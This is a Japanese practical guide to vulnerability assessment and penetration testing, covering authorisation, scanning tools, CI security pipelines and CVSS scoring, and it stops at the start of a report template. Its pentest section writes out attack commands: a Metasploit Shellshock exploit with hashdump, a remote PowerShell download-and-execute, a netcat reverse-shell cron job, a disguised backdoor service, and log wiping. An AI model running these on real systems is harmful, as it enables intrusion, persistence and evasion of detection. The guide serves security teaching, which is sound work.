脆弱性診断とペネトレーションテスト実践ガイド

サイバー攻撃の約70%は既知の脆弱性を悪用しています。定期的な脆弱性診断とペネトレーションテストは、攻撃者より先に弱点を発見し、対策を講じるための重要な防御手段です。本記事では、各種診断の違いから実施方法、レポートの読み方、内製化vs外注の判断基準まで、実践的なガイドラインを提供します。

診断実施の法的要件と倫理

セキュリティ診断は、システムの弱点を発見し改善するための重要な活動ですが、適切な承認なしに実施すれば違法行為となります。診断を始める前に、必ず法的・倫理的要件を理解し、遵守することが不可欠です。

事前承認の重要性

セキュリティ診断は、本質的に攻撃と同じ手法を使用します。正当な診断と悪意ある攻撃を区別するのは、「承認の有無」だけです。不正アクセス禁止法では、承認なくシステムに侵入したり、脆弱性を探索したりすることは犯罪行為とされています。

必須の承認事項

診断を実施する前に、必ず書面による承認を取得する必要があります。以下は標準的な承認書テンプレートです:

【脆弱性診断実施承認書】
================================

1. 診断対象システム
   □ 本番環境 / □ 検証環境 / □ 開発環境
   - URL/IPアドレス:___________________________
   - 診断範囲詳細:_____________________________
   - 対象外範囲(明記):_______________________

2. 診断実施期間
   - 開始日時:2025年___月___日 ___時___分
   - 終了日時:2025年___月___日 ___時___分
   - 診断実施時間帯:□ 業務時間内 / □ 業務時間外

3. 診断手法(実施する項目にチェック)
   □ 自動脆弱性スキャン
   □ 手動脆弱性診断
   □ ペネトレーションテスト
   □ ソーシャルエンジニアリング(※要個別承認)
   □ 物理侵入テスト(※要個別承認)
   □ DDoS耐性テスト(※要個別承認)

4. 診断強度レベル
   □ Low(情報収集のみ)
   □ Medium(非破壊的な診断)
   □ High(データ改変を含む可能性)

5. リスクと免責事項の理解
   以下のリスクが発生する可能性があることを理解し、承認します:
   □ 一時的なサービス停止または性能劣化
   □ データの改変または削除(テスト環境のみ)
   □ セキュリティアラートの大量発生
   □ ログファイルの肥大化
   □ アカウントロックアウト

6. 連絡体制
   緊急連絡先(24時間対応):____________________
   システム管理者:_____________________________
   セキュリティ責任者:_________________________

7. 診断結果の取り扱い
   □ 報告書の提出先:__________________________
   □ 機密保持レベル:□ 極秘 / □ 社外秘 / □ 関係者限り
   □ 保管期間:_______年間
   □ 廃棄方法:________________________________

承認者(システムオーナー)
 所属:______________________________________
 役職:______________________________________
 氏名:____________________________________印
 日付:2025年___月___日

診断実施責任者
 所属:______________________________________
 氏名:____________________________________印
 日付:2025年___月___日
================================

この承認書は、単なる形式ではありません。法的な証拠として、また診断実施者を守る保険として機能します。特に外部ベンダーに診断を委託する場合は、より詳細な契約書が必要になります。

違法行為となるケース

以下のケースは、たとえ善意であっても違法行為となり、刑事罰の対象となる可能性があります:

1. 承認のない第三者システムへの診断
「練習のため」「スキル向上のため」という理由で、承認なく他社のWebサイトをスキャンすることは違法です。たとえ脆弱性を発見して報告する「善意のハッカー」であっても、事前承認なしには違法行為となります。

2. 範囲外への診断拡大
承認された範囲を超えて診断を行うことは違法です。例えば、Webアプリケーションの診断承認しか得ていないのに、同じサーバー上の他のサービスもスキャンすることは許されません。

3. 実データの持ち出し
診断中に個人情報や機密情報にアクセスできたとしても、それを外部に持ち出すことは違法です。スクリーンショットを撮る場合も、個人情報が含まれないよう細心の注意が必要です。

4. 診断結果の無断公開
発見した脆弱性を、SNSやブログで公開することは、名誉毀損や威力業務妨害に該当する可能性があります。responsible disclosure(責任ある開示)の原則に従い、まずは該当組織に報告し、修正期間を設ける必要があります。

5. バックドアの設置
たとえテスト目的であっても、システムにバックドアを設置したまま放置することは違法です。診断終了後は、すべての変更を元に戻す必要があります。


診断の種類と手法

Webアプリケーション診断

Webアプリケーション診断は、最も頻繁に実施される診断の一つです。SQLインジェクションXSSなどの脆弱性を発見することを目的とします。

OWASP Testing Guide v5.0準拠

OWASP(Open Web Application Security Project)が提供するテスティングガイドは、業界標準として広く採用されています。以下は主要な診断項目のチェックリストです:

【Webアプリケーション診断チェックリスト】
============================================

□ 情報収集フェーズ
  □ 検索エンジン偵察(Google Dorks、Shodan)
  □ Webサーバーフィンガープリント
  □ Webアプリケーションフィンガープリント
  □ アプリケーション構造の列挙
  □ 管理インターフェースの発見
  □ HTTPメソッドの列挙
  □ フレームワークの特定

□ 設定・デプロイメント管理テスト
  □ ネットワーク/インフラ構成
  □ アプリケーションプラットフォーム構成
  □ ファイル拡張子の処理テスト
  □ バックアップファイルの検出
  □ 管理インターフェースの列挙
  □ HTTPメソッドのテスト
  □ HTTP Strict Transport Security
  □ RIAクロスドメインポリシー
  □ ファイルパーミッション
  □ サブドメインテイクオーバー
  □ クラウドストレージ設定

□ アイデンティティ管理テスト
  □ ユーザー登録プロセス
  □ アカウントプロビジョニング
  □ アカウント列挙と推測可能なユーザー名
  □ 弱いユーザー名ポリシー

□ 認証テスト
  □ 暗号化されたチャネルでの認証情報送信
  □ デフォルト認証情報
  □ 弱いロックアウト機構
  □ 認証スキーマのバイパス
  □ パスワードリセット機能
  □ ブラウザキャッシュの弱点
  □ CAPTCHA
  □ 多要素認証
  □ 二次チャネルでの認証

□ 認可テスト
  □ ディレクトリトラバーサル/ファイルインクルード
  □ 権限昇格
  □ 安全でない直接オブジェクト参照(IDOR)
  □ OAuth2.0の脆弱性

□ セッション管理テスト
  □ セッション管理スキーマのバイパス
  □ セッションID(Cookie)の属性
  □ セッション固定攻撃
  □ 公開されたセッション変数
  □ クロスサイトリクエストフォージェリ(CSRF)
  □ ログアウト機能
  □ セッションタイムアウト
  □ セッションパズリング
  □ セッションハイジャック

□ 入力検証テスト
  □ 反射型XSS
  □ 格納型XSS
  □ HTTP動詞改ざん
  □ HTTPパラメータ汚染
  □ SQLインジェクション
  □ LDAPインジェクション
  □ XMLインジェクション
  □ SSIインジェクション
  □ XPathインジェクション
  □ IMAPおよびSMTPインジェクション
  □ コードインジェクション
  □ OSコマンドインジェクション
  □ フォーマット文字列インジェクション
  □ インキュベートされた脆弱性
  □ HTTPスプリッティング/スマグリング
  □ HTTPリクエストスマグリング
  □ サーバーサイドテンプレートインジェクション
  □ サーバーサイドリクエストフォージェリ(SSRF)

□ エラー処理テスト
  □ エラーコードの不適切な取り扱い
  □ スタックトレースの露出

□ 暗号化テスト
  □ 弱いSSL/TLS暗号、不十分な転送層保護
  □ パディングオラクル
  □ 機密データの非暗号化送信
  □ 弱い暗号化の使用

□ ビジネスロジックテスト
  □ ビジネスロジックデータ検証
  □ フォージリクエストの能力
  □ 整合性チェック
  □ プロセスタイミング
  □ 機能使用制限
  □ ワークフローの回避
  □ アプリケーションの誤用防御
  □ ファイルのアップロード
  □ 悪意のあるファイルのアップロード

□ クライアントサイドテスト
  □ DOM-based XSS
  □ JavaScriptの実行
  □ HTMLインジェクション
  □ クライアントサイドURLリダイレクト
  □ CSSインジェクション
  □ クライアントサイドリソース操作
  □ Cross-Origin Resource Sharing (CORS)
  □ クロスサイトFlashing
  □ クリックジャッキング
  □ WebSocket
  □ Web Messaging
  □ Browser Storage
  □ クロスサイトスクリプトインクルージョン
============================================

診断ツールと使用方法

Burp Suite Professional

Burp Suiteは、Webアプリケーション診断のデファクトスタンダードです。プロキシとして動作し、ブラウザとサーバー間の通信を傍受・改ざんできます。

# Burp Suite設定手順

1. プロキシリスナーの設定
   Proxy → Options → Proxy Listeners
   Add → Bind to port: 8080
        Bind to address: 127.0.0.1

2. ブラウザのプロキシ設定
   Firefox: 設定 → ネットワーク設定
   手動プロキシ: 127.0.0.1:8080
   
3. SSL証明書のインストール
   http://burp にアクセス
   CA Certificate をダウンロード
   ブラウザの証明書ストアにインポート

4. スパイダリングの実行
   Target → Site map → 対象サイトを右クリック
   Spider this host
   
5. アクティブスキャンの実行
   Target → Site map → 対象範囲を選択
   右クリック → Actively scan this host
   
   スキャン設定:
   - Audit checks: すべて選択(初回)
   - Insertion points: 自動選択
   - Thread count: 10(サーバー負荷に応じて調整)
   
6. 結果の確認
   Target → Site map → Issues で脆弱性一覧を確認
   各項目をクリックして詳細とPoCを確認

Burp Suite拡張機能の活用:

# Burp Extender用のカスタムスキャナー(Python)
from burp import IBurpExtender, IScannerCheck, IScanIssue
from java.util import ArrayList
import re

class BurpExtender(IBurpExtender, IScannerCheck):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("Custom Security Scanner")
        callbacks.registerScannerCheck(self)
        
    def doPassiveScan(self, baseRequestResponse):
        issues = ArrayList()
        
        # レスポンスの解析
        response = baseRequestResponse.getResponse()
        analyzedResponse = self._helpers.analyzeResponse(response)
        
        # レスポンスボディの取得
        bodyOffset = analyzedResponse.getBodyOffset()
        body = response[bodyOffset:].tostring()
        
        # 機密情報の検出(例:AWSキー)
        aws_pattern = r'AKIA[0-9A-Z]{16}'
        matches = re.finditer(aws_pattern, body)
        
        for match in matches:
            issues.add(self._createIssue(
                baseRequestResponse,
                "AWS Access Key Exposed",
                "Critical",
                "AWS access key found in response: " + match.group()
            ))
        
        return issues
OWASP ZAP

OWASP ZAP(Zed Attack Proxy)は、無料で高機能なWebアプリケーション診断ツールです。

# OWASP ZAP Python API使用例
from zapv2 import ZAPv2
import time
import json

class ZAPScanner:
    def __init__(self, target, api_key=''):
        self.target = target
        self.zap = ZAPv2(apikey=api_key, 
                        proxies={'http': 'http://127.0.0.1:8080'})
    
    def full_scan(self):
        print(f"Starting scan for {self.target}")
        
        # Step 1: アクセス(スパイダリング)
        print("Spidering...")
        scan_id = self.zap.spider.scan(self.target)
        while int(self.zap.spider.status(scan_id)) < 100:
            print(f"Spider progress: {self.zap.spider.status(scan_id)}%")
            time.sleep(5)
        
        # Step 2: Ajaxスパイダー(動的コンテンツ)
        print("Ajax Spidering...")
        self.zap.ajaxSpider.scan(self.target)
        while self.zap.ajaxSpider.status == 'running':
            print("Ajax spider still running...")
            time.sleep(5)
        
        # Step 3: パッシブスキャン待機
        while int(self.zap.pscan.records_to_scan) > 0:
            print(f"Passive scan queue: {self.zap.pscan.records_to_scan}")
            time.sleep(2)
        
        # Step 4: アクティブスキャン
        print("Active scanning...")
        scan_id = self.zap.ascan.scan(self.target)
        while int(self.zap.ascan.status(scan_id)) < 100:
            print(f"Active scan progress: {self.zap.ascan.status(scan_id)}%")
            time.sleep(5)
        
        # Step 5: 結果の取得
        alerts = self.zap.core.alerts(baseurl=self.target)
        return self.analyze_results(alerts)
    
    def analyze_results(self, alerts):
        # リスクレベル別に分類
        results = {
            'High': [],
            'Medium': [],
            'Low': [],
            'Informational': []
        }
        
        for alert in alerts:
            risk_level = alert['risk']
            results[risk_level].append({
                'alert': alert['alert'],
                'url': alert['url'],
                'param': alert.get('param', ''),
                'description': alert['description'],
                'solution': alert['solution'],
                'reference': alert['reference'],
                'cweid': alert['cweid'],
                'wascid': alert['wascid']
            })
        
        return results
    
    def generate_report(self, results):
        """診断結果のレポート生成"""
        report = {
            'scan_date': time.strftime('%Y-%m-%d %H:%M:%S'),
            'target': self.target,
            'summary': {
                'high': len(results['High']),
                'medium': len(results['Medium']),
                'low': len(results['Low']),
                'info': len(results['Informational'])
            },
            'vulnerabilities': results
        }
        
        # JSON形式で保存
        with open(f'zap_report_{time.strftime("%Y%m%d_%H%M%S")}.json', 'w') as f:
            json.dump(report, f, indent=2, ensure_ascii=False)
        
        return report

# 使用例
if __name__ == "__main__":
    scanner = ZAPScanner('http://testsite.example.com')
    results = scanner.full_scan()
    report = scanner.generate_report(results)
    print(f"Scan complete. Found {report['summary']['high']} high risk issues")

プラットフォーム診断

プラットフォーム診断は、OS、ミドルウェア、ネットワーク機器などのインフラ層の脆弱性を検査します。

Nessusによるスキャン

Nessusは、商用の脆弱性スキャナーとして最も広く使用されています:

# Nessus診断ポリシーの作成と実行

# 1. コマンドラインでのポリシー作成
cat > scan_policy.xml << EOF
<?xml version="1.0" encoding="UTF-8"?>
<Policy>
  <policyName>Production Scan Policy</policyName>
  <policyComments>Monthly vulnerability assessment</policyComments>
  <Preferences>
    <ServerPreferences>
      <preference>
        <name>max_hosts</name>
        <value>10</value>
      </preference>
      <preference>
        <name>max_checks</name>
        <value>5</value>
      </preference>
      <preference>
        <name>port_range</name>
        <value>1-65535</value>
      </preference>
    </ServerPreferences>
  </Preferences>
</Policy>
EOF

# 2. Nessus CLIでのスキャン実行
nessuscli scan new \
  --name "Monthly Infrastructure Scan" \
  --targets "192.168.1.0/24" \
  --policy-file scan_policy.xml

# 3. 結果のエクスポート
nessuscli scan export \
  --scan-id 1001 \
  --format csv \
  --output infrastructure_scan_results.csv

# 4. 高リスク脆弱性の抽出
awk -F',' '$4 == "Critical" || $4 == "High"' infrastructure_scan_results.csv | \
  sort -t',' -k4,4 -k3,3nr > high_risk_vulnerabilities.csv

OpenVASでの診断

OpenVAS(現GVM)は、オープンソースの脆弱性スキャナーです:

# OpenVAS/GVMのインストールと設定(Ubuntu 22.04)

# 1. インストール
sudo apt-get update
sudo apt-get install -y gvm
sudo gvm-setup
sudo gvm-check-setup

# 2. 管理者パスワードの設定
sudo runuser -u _gvm -- gvmd --user=admin --new-password=StrongPassword123!

# 3. サービスの起動
sudo gvm-start

# 4. CLIでのスキャン実行
# ターゲットの作成
gvm-cli socket --gmp-username admin --gmp-password StrongPassword123! \
  --xml "<create_target>
    <name>Production Servers</name>
    <hosts>192.168.1.10,192.168.1.20,192.168.1.30</hosts>
    <port_list id='33d0cd82-57c6-11e1-8ed1-406186ea4fc5'/>
  </create_target>"

# タスクの作成と実行
gvm-cli socket --gmp-username admin --gmp-password StrongPassword123! \
  --xml "<create_task>
    <name>Weekly Scan</name>
    <config id='daba56c8-73ec-11df-a475-002264764cea'/>
    <target id='TARGET_ID_FROM_ABOVE'/>
    <scanner id='08b69003-5fc2-4037-a479-93b440211c73'/>
  </create_task>"

# 5. 結果の取得(Python)
from gvm.connections import UnixSocketConnection
from gvm.protocols.gmp import Gmp

connection = UnixSocketConnection()
with Gmp(connection) as gmp:
    gmp.authenticate('admin', 'StrongPassword123!')
    
    # レポートの取得
    reports = gmp.get_reports()
    for report in reports.xpath('report'):
        report_id = report.get('id')
        results = gmp.get_report(report_id)
        
        # 高リスク脆弱性の抽出
        high_vulns = results.xpath('//result[severity > 7.0]')
        for vuln in high_vulns:
            print(f"Host: {vuln.find('host').text}")
            print(f"Port: {vuln.find('port').text}")
            print(f"Vulnerability: {vuln.find('name').text}")
            print(f"Severity: {vuln.find('severity').text}")
            print("---")

ソースコード診断

ソースコード診断(SAST: Static Application Security Testing)は、開発段階で脆弱性を発見するための重要な手法です。

SAST(静的解析)ツール

SonarQube設定

SonarQubeは、継続的なコード品質管理プラットフォームです:

# sonar-project.properties
sonar.projectKey=myapp
sonar.projectName=My Application
sonar.projectVersion=1.0
sonar.sources=src/main/java
sonar.tests=src/test/java
sonar.java.binaries=target/classes
sonar.java.libraries=target/dependency/*.jar
sonar.language=java
sonar.sourceEncoding=UTF-8

# セキュリティルールの設定
sonar.java.security.hotspots=true

# 品質ゲート設定
sonar.qualitygate.wait=true
sonar.qualitygate.timeout=300

# カバレッジレポート
sonar.coverage.jacoco.xmlReportPaths=target/site/jacoco/jacoco.xml

Jenkins統合での自動実行:

// Jenkinsfile
pipeline {
    agent any
    
    stages {
        stage('Code Checkout') {
            steps {
                git 'https://github.com/example/myapp.git'
            }
        }
        
        stage('Build') {
            steps {
                sh 'mvn clean compile'
            }
        }
        
        stage('SonarQube Analysis') {
            steps {
                withSonarQubeEnv('SonarQube') {
                    sh '''
                        mvn sonar:sonar \
                        -Dsonar.projectKey=myapp \
                        -Dsonar.host.url=$SONAR_HOST_URL \
                        -Dsonar.login=$SONAR_AUTH_TOKEN
                    '''
                }
            }
        }
        
        stage('Quality Gate') {
            steps {
                timeout(time: 5, unit: 'MINUTES') {
                    waitForQualityGate abortPipeline: true
                }
            }
        }
    }
    
    post {
        always {
            publishHTML([
                reportDir: 'target/sonar',
                reportFiles: 'report.html',
                reportName: 'SonarQube Report'
            ])
        }
    }
}
Semgrep実行

Semgrepは、軽量で高速なSASTツールです:

# Semgrepの基本使用

# 1. インストール
pip install semgrep

# 2. デフォルトルールでのスキャン
semgrep --config=auto .

# 3. 特定の言語向けルール
semgrep --config=p/javascript --config=p/typescript .
semgrep --config=p/python --config=p/django .
semgrep --config=p/java --config=p/spring .

# 4. カスタムルールの作成
cat > custom_rules.yaml << 'EOF'
rules:
  - id: hardcoded-password
    patterns:
      - pattern: |
          $PASSWORD = "..."
      - metavariable-regex:
          metavariable: $PASSWORD
          regex: (password|passwd|pwd|pass|secret|token|key|apikey|api_key)
    message: Hardcoded password detected
    languages: [python, javascript, java]
    severity: ERROR
    
  - id: sql-injection-risk
    patterns:
      - pattern: |
          $QUERY = "SELECT * FROM " + $INPUT
      - pattern-not: |
          $QUERY = "SELECT * FROM " + sanitize($INPUT)
    message: Potential SQL injection vulnerability
    languages: [python, java]
    severity: ERROR
    
  - id: weak-crypto
    pattern-either:
      - pattern: hashlib.md5(...)
      - pattern: hashlib.sha1(...)
    message: Weak cryptographic hash function used
    languages: [python]
    severity: WARNING
    fix-regex:
      regex: (md5|sha1)
      replacement: sha256
      
  - id: jwt-weak-secret
    patterns:
      - pattern: jwt.encode(..., "...", ...)
      - pattern-not: jwt.encode(..., $SECRET_VAR, ...)
    message: JWT with hardcoded secret
    languages: [python]
    severity: ERROR
EOF

# 5. カスタムルールでのスキャン
semgrep --config=custom_rules.yaml src/

# 6. CI/CD統合(GitLab CI例)
# .gitlab-ci.yml
semgrep:
  stage: test
  image: returntocorp/semgrep
  script:
    - semgrep --config=auto --json --output=semgrep-report.json .
    - semgrep --config=auto --junit-xml --output=semgrep-report.xml .
  artifacts:
    reports:
      junit: semgrep-report.xml
    paths:
      - semgrep-report.json

ペネトレーションテスト

ペネトレーションテストは、実際の攻撃者の視点でシステムの脆弱性を検証する、最も包括的なセキュリティ診断です。

攻撃フェーズ

ペネトレーションテストは、一般的に以下の6つのフェーズで構成されます:

1. 偵察(Reconnaissance)

情報収集は、攻撃の成功率を左右する重要なフェーズです:

# パッシブな情報収集(ターゲットに直接アクセスしない)

# DNSリコン
dnsrecon -d example.com -t std,srv,axfr
dnsenum example.com

# サブドメイン列挙
sublist3r -d example.com -b -t 50
amass enum -d example.com

# OSINT(Open Source Intelligence)
theHarvester -d example.com -b all
recon-ng -w example_workspace
marketplace install all
modules load recon/domains-hosts/google_site_web
run

# Shodan検索(要APIキー)
shodan search hostname:example.com
shodan host 203.0.113.1

# 証明書の透明性ログ
curl -s "https://crt.sh/?q=%.example.com&output=json" | \
  jq -r '.[].name_value' | sort -u

# Wayback Machine
waybackurls example.com | grep -E "\.(js|json|config|env|xml)$"

2. スキャニング(Scanning)

# Nmap詳細スキャン
# ステルススキャン(SYN)
nmap -sS -T4 -p- example.com -oA nmap_syn_scan

# サービスとOSの検出
nmap -sV -sC -O -A example.com -oA nmap_detailed

# 脆弱性スクリプトスキャン
nmap --script vuln example.com

# UDPスキャン(時間がかかるが重要)
nmap -sU -T4 --top-ports 1000 example.com

# スクリプトエンジンを使った特定の脆弱性チェック
nmap --script smb-vuln* -p 445 example.com
nmap --script ssl-* -p 443 example.com

3. 侵入(Gaining Access)

# Metasploitを使用した攻撃(承認済み環境のみ)
msfconsole

# データベース初期化
msfdb init

# ワークスペースの作成
workspace -a pentest_example

# ポートスキャン結果のインポート
db_import nmap_detailed.xml

# 脆弱性の検索
search type:exploit platform:linux apache

# エクスプロイトの使用例(Shellshock)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS target.example.com
set TARGETURI /cgi-bin/vulnerable.cgi
set LHOST 192.168.1.100
set LPORT 4444
check  # 脆弱性の確認
exploit

# セッションの管理
sessions -l
sessions -i 1

# Meterpreterセッション内での操作
sysinfo
getuid
ps
hashdump
screenshot

4. 権限昇格(Privilege Escalation)

権限昇格は、攻撃の重要な段階です:

# Linux権限昇格の確認
# 自動化ツールのダウンロードと実行
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt

# 手動チェック項目
# SUID/SGIDバイナリ
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

# 書き込み可能なファイル
find / -writable -type f 2>/dev/null | grep -v proc

# Sudo権限の確認
sudo -l

# Cronジョブ
cat /etc/crontab
ls -la /etc/cron.*

# カーネルバージョンと既知の脆弱性
uname -a
searchsploit linux kernel $(uname -r)

# Windows権限昇格
# PowerShellスクリプトのダウンロード
iex(New-Object Net.WebClient).DownloadString('http://192.168.1.100/PowerUp.ps1')
Invoke-AllChecks

# 手動チェック
whoami /priv
net user
net localgroup administrators
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

5. 持続化(Maintaining Access)

# ※注意:以下は検証環境でのみ実施し、必ず削除すること

# Linuxでのバックドア(検証のみ)
# SSHキーの追加
echo "ssh-rsa AAAAB3... attacker@kali" >> ~/.ssh/authorized_keys

# Cronによる定期接続
(crontab -l ; echo "*/5 * * * * /usr/bin/nc 192.168.1.100 4444 -e /bin/bash") | crontab -

# systemdサービスの作成
cat > /etc/systemd/system/backdoor.service << EOF
[Unit]
Description=System Monitoring Service
[Service]
ExecStart=/usr/bin/nc -lvp 4444 -e /bin/bash
Restart=always
[Install]
WantedBy=multi-user.target
EOF

6. 痕跡消去(Covering Tracks)

# ログのクリア(検証環境のみ)
# Linuxログクリア
echo "" > /var/log/auth.log
echo "" > /var/log/syslog
history -c
cat /dev/null > ~/.bash_history

# Windowsログクリア
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

実施タイミングと頻度

開発ライフサイクルとの統合

セキュリティ診断は、DevSecOpsの考え方に基づき、開発ライフサイクル全体に組み込むべきです:

DevSecOpsパイプライン

# .gitlab-ci.yml - 完全なセキュリティパイプライン
stages:
  - build
  - test
  - security_scan
  - dynamic_test
  - deploy
  - post_deploy_scan

variables:
  DOCKER_DRIVER: overlay2
  SECURE_LOG_LEVEL: "debug"

# ビルドステージ
build:
  stage: build
  script:
    - docker build -t $CI_PROJECT_NAME:$CI_COMMIT_SHA .
    - docker push $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA
  artifacts:
    paths:
      - target/

# 静的セキュリティ解析
sast:
  stage: security_scan
  image: returntocorp/semgrep
  script:
    - semgrep --config=auto --json --output=sast_report.json .
  artifacts:
    reports:
      sast: sast_report.json
    paths:
      - sast_report.json
  allow_failure: false

# 依存関係のセキュリティチェック
dependency_scanning:
  stage: security_scan
  script:
    # Java/Maven
    - mvn org.owasp:dependency-check-maven:check
    # Python
    - safety check --json > safety_report.json
    # Node.js
    - npm audit --json > npm_audit.json
    # Docker
    - trivy image --format json --output trivy_report.json $CI_PROJECT_NAME:$CI_COMMIT_SHA
  artifacts:
    reports:
      dependency_scanning: 
        - dependency-check-report.json
        - safety_report.json
        - npm_audit.json
    paths:
      - "*_report.json"

# シークレットスキャン
secret_scanning:
  stage: security_scan
  image: trufflesecurity/trufflehog
  script:
    - trufflehog git file://. --json > secrets_report.json
    - |
      if [ -s secrets_report.json ]; then
        echo "Secrets detected!"
        exit 1
      fi
  artifacts:
    paths:
      - secrets_report.json

# コンテナイメージスキャン
container_scanning:
  stage: security_scan
  image: aquasec/trivy
  script:
    - trivy image --severity CRITICAL,HIGH --exit-code 1 $CI_PROJECT_NAME:$CI_COMMIT_SHA
    - trivy image --format template --template "@/contrib/gitlab.tpl" \
        --output container_scanning.json $CI_PROJECT_NAME:$CI_COMMIT_SHA
  artifacts:
    reports:
      container_scanning: container_scanning.json

# IaCセキュリティスキャン
iac_scanning:
  stage: security_scan
  image: bridgecrew/checkov
  script:
    - checkov -d . --framework all --output json > iac_report.json
  artifacts:
    paths:
      - iac_report.json

# 動的セキュリティテスト(DAST)
dast:
  stage: dynamic_test
  image: owasp/zap2docker-stable
  script:
    - |
      docker run -t owasp/zap2docker-stable zap-baseline.py \
        -t https://staging.example.com \
        -J dast_report.json \
        -r dast_report.html
  artifacts:
    reports:
      dast: dast_report.json
    paths:
      - dast_report.html
  only:
    - staging
    - main

# セキュリティゲート
security_gate:
  stage: dynamic_test
  script:
    - |
      # 各レポートの解析
      CRITICAL_COUNT=$(jq '[.[] | select(.severity == "CRITICAL")] | length' sast_report.json)
      HIGH_COUNT=$(jq '[.[] | select(.severity == "HIGH")] | length' sast_report.json)
      
      if [ $CRITICAL_COUNT -gt 0 ]; then
        echo "Critical vulnerabilities found. Deployment blocked."
        exit 1
      fi
      
      if [ $HIGH_COUNT -gt 5 ]; then
        echo "Too many high severity issues. Please review."
        exit 1
      fi
  needs:
    - sast
    - dependency_scanning
    - container_scanning

# デプロイ後のセキュリティ確認
post_deploy_scan:
  stage: post_deploy_scan
  script:
    - |
      # SSL/TLS設定確認
      testssl --json https://production.example.com > ssl_report.json
      
      # セキュリティヘッダー確認
      curl -I https://production.example.com | grep -E \
        '(Strict-Transport-Security|Content-Security-Policy|X-Frame-Options)'
      
      # 外形監視
      nmap -sV --script ssl-enum-ciphers -p 443 production.example.com
  only:
    - main
  when: on_success

診断スケジュール策定

適切な診断頻度は、システムの重要度と変更頻度によって決定します:

推奨頻度

システム重要度 説明 脆弱性診断 ペンテスト コード診断
Mission Critical 金融、医療、重要インフラ 月1回 四半期 コミット毎
High ECサイト、個人情報取扱 四半期 年2回 日次
Medium 一般的な企業サイト 半年 年1回 週次
Low 内部システム、開発環境 年1回 2年に1回 月次

診断タイミングの考慮事項:

  • リリース前:新機能や大規模変更の前に必須
  • 定期診断:スケジュールに基づく定期実施
  • インシデント後:セキュリティ事故発生後の再評価
  • 規制対応:PCI DSS、GDPR等の要件に応じて
  • M&A時:企業買収時のデューデリジェンス

レポートの作成と対応

CVSSスコアリング

CVSS(Common Vulnerability Scoring System)v3.1は、脆弱性の深刻度を定量化する業界標準です。

CVSS v3.1計算

CVSSスコアは、基本評価基準、現状評価基準、環境評価基準の3つの要素から構成されます:

# CVSS v3.1 計算ツール
class CVSS31Calculator:
    def __init__(self):
        # 基本評価基準の値
        self.metrics = {
            'AV': {'N': 0.85, 'A': 0.62, 'L': 0.55, 'P': 0.2},
            'AC': {'L': 0.77, 'H': 0.44},
            'PR': {
                'N': {'U': 0.85, 'C': 0.85},
                'L': {'U': 0.62, 'C': 0.68},
                'H': {'U': 0.27, 'C': 0.5}
            },
            'UI': {'N': 0.85, 'R': 0.62},
            'C': {'N': 0, 'L': 0.22, 'H': 0.56},
            'I': {'N': 0, 'L': 0.22, 'H': 0.56},
            'A': {'N': 0, 'L': 0.22, 'H': 0.56}
        }
    
    def calculate_base_score(self, av, ac, pr, ui, s, c, i, a):
        """
        基本スコアの計算
        av: Attack Vector (N/A/L/P)
        ac: Attack Complexity (L/H)
        pr: Privileges Required (N/L/H)
        ui: User Interaction (N/R)
        s: Scope (U/C)
        c: Confidentiality Impact (N/L/H)
        i: Integrity Impact (N/L/H)
        a: Availability Impact (N/L/H)
        """
        
        # メトリクス値の取得
        av_value = self.metrics['AV'][av]
        ac_value = self.metrics['AC'][ac]
        pr_value = self.metrics['PR'][pr][s]
        ui_value = self.metrics['UI'][ui]
        c_value = self.metrics['C'][c]
        i_value = self.metrics['I'][i]
        a_value = self.metrics['A'][a]
        
        # Impact Sub Score (ISS)の計算
        iss = 1 - ((1 - c_value) * (1 - i_value) * (1 - a_value))
        
        # Exploitability Sub Score
        exploitability = 8.22 * av_value * ac_value * pr_value * ui_value
        
        # スコープによる計算
        if s == 'U':  # Scope Unchanged
            if iss <= 0:
                return 0.0
            else:
                if (exploitability + iss) <= 10:
                    base_score = exploitability + iss
                else:
                    base_score = 10
        else:  # Scope Changed
            iss_adjusted = 7.52 * iss - 3.25
            if iss_adjusted <= 0:
                return 0.0
            else:
                if (1.08 * (exploitability + iss_adjusted)) <= 10:
                    base_score = 1.08 * (exploitability + iss_adjusted)
                else:
                    base_score = 10
        
        # 小数点第1位で四捨五入
        return round(base_score, 1)
    
    def get_severity(self, score):
        """スコアから深刻度レベルを判定"""
        if score == 0:
            return "None"
        elif score < 4.0:
            return "Low"
        elif score < 7.0:
            return "Medium"
        elif score < 9.0:
            return "High"
        else:
            return "Critical"
    
    def generate_vector_string(self, av, ac, pr, ui, s, c, i, a):
        """CVSSベクトル文字列の生成"""
        return f"CVSS:3.1/AV:{av}/AC:{ac}/PR:{pr}/UI:{ui}/S:{s}/C:{c}/I:{i}/A:{a}"

# 使用例
calculator = CVSS31Calculator()

# SQLインジェクションの例
score = calculator.calculate_base_score(
    av='N',  # Network
    ac='L',  # Low
    pr='N',  # None
    ui='N',  # None
    s='U',   # Unchanged
    c='H',   # High
    i='H',   # High
    a='H'    # High
)
print(f"Score: {score}")
print(f"Severity: {calculator.get_severity(score)}")
print(f"Vector: {calculator.generate_vector_string('N','L','N','N','U','H','H','H')}")

修正優先度の決定

CVSSスコアだけでなく、ビジネスへの影響を考慮したリスク評価が重要です:

リスクマトリクス

         影響度(Business Impact)
         低      中      高      致命的
    低   [1]     [2]     [3]     [4]
発  中   [2]     [3]     [4]     [5]
生  高   [3]     [4]     [5]     [5]
可  確実 [4]     [5]     [5]     [5]
能
性

優先度レベル:
[5] 即座対応(24時間以内)
    - 本番環境を停止してでも修正
    - 経営層への即時報告
[4] 緊急対応(1週間以内)
    - 次回リリースを待たずに修正
    - 暫定対策の即時実施
[3] 計画対応(1ヶ月以内)
    - 次回定期リリースで修正
    - 監視強化による検知
[2] 次回更新(3ヶ月以内)
    - 大規模改修時に対応
    - リスク受容の検討
[1] 経過観察
    - リスク受容
    - 代替策の検討

報告書テンプレート

効果的な脆弱性診断報告書の構成:

# 脆弱性診断報告書

## エグゼクティブサマリー
**診断概要**
- 診断期間:2025年11月1日〜11月5日
- 診断対象:ECサイト(https://shop.example.com)
